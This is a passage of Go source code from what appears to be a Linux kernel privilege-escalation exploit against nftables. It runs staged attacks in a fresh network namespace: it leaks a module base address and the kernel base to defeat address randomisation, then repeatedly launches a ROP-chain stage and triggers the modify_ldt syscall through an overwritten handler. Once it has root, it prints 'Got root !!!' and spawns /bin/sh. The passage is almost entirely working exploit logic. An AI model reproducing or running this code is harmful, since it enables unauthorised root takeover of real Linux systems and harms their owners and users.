fmt.Printf("Invalid binary mode: '%v'\n", os.Args[1])
}
moduleBase, err := strconv.ParseUint(os.Args[2], 16, 64)
if err != nil {
panic(err)
}
// Setup the environ
ns, err := netns.New()
if err != nil {
panic(err)
}
defer ns.Close()
// Create new net interface
err = exec.Command("ip", "addr", "add", "127.0.0.1/8", "dev", "lo").Run()
if err != nil {
fmt.Printf("Could not give interface ip")
return
}
err = exec.Command("ip", "link", "set", "lo", "up").Run()
if err != nil {
fmt.Printf("Could not up interface")
return
}
if mode == "module_leak" {
err = nftables_wrapper(ns, leak_module_step, 0, 0)
} else if mode == "kernel_leak" {
err = nftables_wrapper(ns, leak_kaslr_step, moduleBase, 0)
} else {
if len(os.Args) != 4 {
fmt.Println("[!] Missing kernel address parameter")
return
}
kernelBase, err := strconv.ParseUint(os.Args[3], 16, 64)
if err != nil {
panic(err)
}
err = nftables_wrapper(ns, ropchain_step, moduleBase, kernelBase)
}
if err != nil {
fmt.Printf("Error: %v\n", err)
}
} else if len(os.Args) == 1 {
// No arguments, launch the full exploit process
// First resolve the binary and find the wrapper in the same folder
binPath, err := os.Readlink("/proc/self/exe")
if err != nil {
fmt.Printf("[!] Could not resolve binary path: %v\n", err)
return
}
binFolder := path.Dir(binPath)
wrapperPath := path.Join(binFolder, "wrapper")
if unix.Getuid() == 0 {
fmt.Println("[+] WARNING: Exploit already running as root. For debugging")
}
fmt.Println("[+] Recovering module base")
var moduleBase uint64 = 0x0
for i := 0; i < 15; i++ {
moduleLeak := exec.Command(wrapperPath, binPath, "module_leak", "0")
stdout, err := moduleLeak.Output()
if err != nil {
fmt.Printf("[E] Module leak failed: %v\n", err)
return
}
lines := strings.Split(string(stdout), "\n")
for _, line := range lines {
if strings.HasPrefix(line, "LEAK") {
addrStr := strings.Split(line, ":")[1]
moduleBase, err = strconv.ParseUint(addrStr, 16, 64)
if err != nil {
// Should never happen
panic(err)
}
break
}
}
if moduleBase != 0 {
break
}
fmt.Printf("Failed attempt #%v, retrying ...\n", i)
}
if moduleBase == 0 {
fmt.Println("[E] Could not find module base, crashing the kernel :(")
} else {
fmt.Printf("[+] Module base: 0x%x\n", moduleBase)
fmt.Println("[+] Recovering kernel base")
}
var kernelBase uint64 = 0
for i := 0; i < 10; i++ {
kernelLeak := exec.Command(wrapperPath, binPath, "kernel_leak", strconv.FormatUint(moduleBase, 16))
stdout, err := kernelLeak.Output()
if err != nil {
fmt.Printf("[E] Kernel leak failed: %v\n", err)
return
}
lines := strings.Split(string(stdout), "\n")
for _, line := range lines {
if strings.HasPrefix(line, "LEAK") {
addrStr := strings.Split(line, ":")[1]
kernelBase, err = strconv.ParseUint(addrStr, 16, 64)
if err != nil {
// Should never happen
panic(err)
}
break
}
}
if kernelBase != 0 {
break
}
fmt.Printf("Failed attempt #%v, retrying ...\n", i)
}
fmt.Printf("[+] Kernel base: 0x%x\n", kernelBase)
for {
kernelLeak := exec.Command(wrapperPath, binPath, "kernel_rop", strconv.FormatUint(moduleBase, 16), strconv.FormatUint(kernelBase, 16))
err := kernelLeak.Start()
if err != nil {
panic(err)
}
for {
// Wait one second so we don't race with the overwriting of the
// syscall handler
time.Sleep(1 * time.Second)
syscall.RawSyscall(unix.SYS_MODIFY_LDT, 0, 0, 0)
if unix.Getuid() == 0 {
fmt.Println("[+] Got root !!!")
unix.Exec("/bin/sh", []string{"/bin/sh"}, os.Environ())
}
}
}
} else {
fmt.Println("Invalid arguments")
}
}